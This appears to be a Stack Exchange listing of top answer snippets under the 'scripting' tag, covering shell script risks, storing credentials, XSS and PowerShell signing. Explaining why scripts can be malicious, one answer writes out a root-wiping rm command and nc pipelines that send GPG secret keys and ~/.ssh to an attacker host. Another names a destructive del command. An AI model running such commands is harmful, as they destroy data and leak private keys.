Hot answers tagged scripting
27
.sh files are shell script. They are anaologous to .bat files (cmd scripts) under Windows. All of these (shell scripts, cmd scripts, .exe Windows executables, Linux executables (which usually have no extension)) are executable programs; if you run one, it can do anything you can do. So yes, shell scripts can be harmful. Treat a shell script (or a Perl ...
11
As mentioned in other answers your credentials will be somewhere accessible to your script.
But I would put them is separate configuration file which will be read by your script.
You will have the following advantages:
you can use the same script for several systems (with different configuration files)
you will be able to share the script with others (or ...
9
My immediate reaction to this was not positive, for a few reasons.
Trying to use regex to parse complex language constructs is a bad idea. Regular expressions just aren't suitable for such constructs.
Security through blacklisting is a bad idea because you will always be, by definition, one step behind the attackers. You should use a positive security ...
9
You can create public/private key pairs and encrypt the password. This should obfuscate the password from casual passers by, as they would only have the public portion of the key known to them.
You should also protect the script using directory and file permissions.
Additionally, (depending on the database) you should be able to create a user account for ...
7
Codepad explains how they provide security on their about page:
codepad.org is an online compiler/interpreter. [...] The strategy is to run everything under ptrace, with many system calls disallowed or ignored. Compilers and final executables are both executed in a chroot jail, with strict resource limits. [...]
Rather than rely on just the chroot ...
7
You could install a site advisor plugin like for example McAfee's site advisor. By doing this you can easier search the domain for any reported maliciousness.
For example I search a domain which a big newspaper is getting their adds from I get report back saying generally OK, but community reports say "Adware, spyware, or viruses (1)".
I'm sure there ...
6
The standard way is to put the credentials into a config file, and attempt to protect the config file from being more readable than the perl file. This offers a moderate increase in security; for example, the code may be in source control and accessible to developers, the config file wouldn't be. The code needs to be in the web server's cgi root, and ...
5
No. It's blacklist-based, it tries to take care of specific tricks involving html entities. It doesn't even require magic_quotes, and magic_quotes has been deprecated as inadequate. Chris Shiflett is just one of many who've written a blog post explaining how vulnerable that is; it won't even stop modern automated script-kiddie attacks.
Use prepared ...
4
#!/bin/sh
rm -rf --no-preserve-root /
That's malware, and it's a shell script. A more advanced version might include something like:
gpg --export-secret-keys | nc www.evilbadguys.com 443
tar -cz ~/.ssh | nc www.evilbadguys.com 80
So yes, a shell script can be malicious. It can get more complex and call on other scripting languages, libraries, or even be ...
4
That code is well commented, in fact it has too many comments:
count++; // increment counter
All of its major features are listed and its painfully simple code. It behaves a lot like the Samy worm, but instead of xss it uses social engineering.
4
[Disclosure: I am the co-founder of the company whose product is discussed in this answer.]
In the past, I've generally just figured this out through trial and error. However, that is most definitely not the way it should be done. It leaves me vulnerable to still possibly running malicious or advertising scripts during that trial and error phase, which ...
4
It's not every 10 seconds, it's every 30.
Using Chrome developer tools I can see that the script jquery-1.3.1.js at line 3511 (xhr.send(s.data);) keeps trying to load a page (getSearch.php) that doesn't exist (404 not found).
The script that is utilising the jQuery is controller.js which contains the line timer = setTimeout('getSearch()', 30000);. You'll ...
4
It depends what's in it. If it finds del /F /S /Q C:\* inside a Windows batch file, sure, some AVs might flag it up as suspicious. If it's a byte-for-byte copy of a known malicious script, sure, some AVs might catch it.
In general, batch scripts are too variable in order to write a working malicious script detector that catches new or "custom" malware ...
3
I often pass the password to the script in an environment variable that way the script need not have access to the secure location that contains the password.
PASSWORD=`cat passwd_file` perl_script.pl
then the script reads the password
my $password = $ENV{'PASSWORD'}
bonus points if the perl script drops privileges
3
Obviously AllSigned requires all modules/snapins and scripts to be code-signed. RemoteSigned only requires signing for remote files. What are remote files?
The canonical answer is on the PowerShell blog:
http://blogs.msdn.com/b/powershell/archive/2007/03/07/how-does-the-remotesigned-execution-policy-work.aspx
But the bottom line is: RemoteSigned only ...
2
From what I understand, the most important parts is that it retrieves your facebook cookie user_id , opens a chat box with your online friends, registers you with a FB group, and stuff like that. If you start writing this code yourself into a different context, step by step, you can see what the http connections are doing.
Some of the parts like variables ...
2
I suspect that the "right" answer would be for there to be an extension to HTML in which the website itself declared which domains were under its direct control and which were third party scripts (e.g. Stack Exchange would declare stackexchange.com, sstatic.net as under direct control, googleapis.com as an essential third-party site, and others as ...
2
Greasemonkey allows you to basically have a scriptable API into website/data/view manipulation using JavaScript.
It is beneficial in IT security to use to automate some things or even to give yourself a more usable view for output you may be receiving
You can't really mitigate anything GreaseMonkey does directly persay, but preventing automation of ...
2
No, not really. A script really doesn't have enough reach within a Windows environment to get all of the information you would need. PowerShell might be able to do it, but I would be surprised if such a script exists. +1 if there really is one.
With that being said, your best bet may be the Baseline Security Analyzer by Microsoft: ...
2
I would look on MsDN and support.microsoft.com for any IIS vulnerabilities first since IIS is usually the target du jour for hackers.
Then look for the PS module specifics to check if they are screwed up after a recent update or something esoteric -- I would be wary of Unicode and any of the larger character sets -- have him point you to the KB ...
2
Actually, NoScript provides options for white listing and plugin behavior in the client preferences.
If you click on the NoScript icon in the browser toolbar, you should see a drop down menu link titled "options". Selecting that will open the NoScript preferences pane, and from there you can configure virtually all aspects of the NoScript behavior. In ...
2
As others have already said, put the credentials in a separate file which the script will load. Risks of having the password in the script include its being exposed to shoulder surfing, its being committed in revision control systems or configuration management systems and distributed far beyond what it should be, accidentally copying to another location ...
2
Considering the automated nature of the script, I don't think there is a better way of storing the password besides hardcoding it.
My recommendation would be locking the script down with proper unix filesystem permissions. Making the script -rwx------ and setting the owner and group to appropriate values will go a long way towards securing the password.
...
2
There is a lot of exploits against libjpeg for sample. Who could be triggered even without javascript.
100% sure don't exist anyway, but. Each functionality present in your host are subject to security faillure and related exploit.
While quantity of faillure existing or maybe existing is related to complexitiy of software, more a functionality is complex ...
1
There are a number of options that will have different outcomes depending on the risk profile of the server that contains the scripts. Certainly, AV/AM tools will pick up false positives every now and then with custom coded scripts because they all include PHP heuristics and so on nowadays.
Report-only, quarantine off: get the AV/AM to report to your ...
1
We can't say that it applies to every anti-virus, but for most of them, yes. Naming a specific anti-virus that you use would help us give you a better answer. Batch files shouldn't be the most significant risk on your list so keep a strong anti-virus and firewall up at all times on your network.
1
Chrome has default protection against Reflective XSS attacks. This is not a flaw that sandboxing can address. This protection system works by looking outgoing requests for javascript and preventing that javascript from being executed in the http response. No browser will prevent DOM Based XSS or Stored XSS.
Chrome's protection is the weakest when ...
1
Greasemonkey is a useful tool for influencing how a page behaves. From a secuirty perspective Greasemonkey isn't really a tool for auditing, its a tool for leveraging flaws. It can be helpful in leveraging client side trust vulnerabilities, but its not the only way. For instance if your application is performing data validation in JavaScript then ...
1
How about calling the "net use" command from your VBS logon script?
Even thought the script itself runs under the Administrator token, any programs started by the script will run under a Standard user token, which means that drives mapped this way will be available to the user.
Your example could be adapted to look like this:
Set shell = ...
1
Use Powershell and set your execution mode to allsigned. It's the best of the worst options for powershell execution methods, issue a code signing cert from your internal CA and sign your login scripts.
(new-object -com WScript.Network).MapNetworkDrive("g:","\\Saturn\data")
(new-object -com WScript.Network).MapNetworkDrive("k:","\\Saturn\stuff")
...
Only top voted, non community-wiki answers of a minimum length are eligible
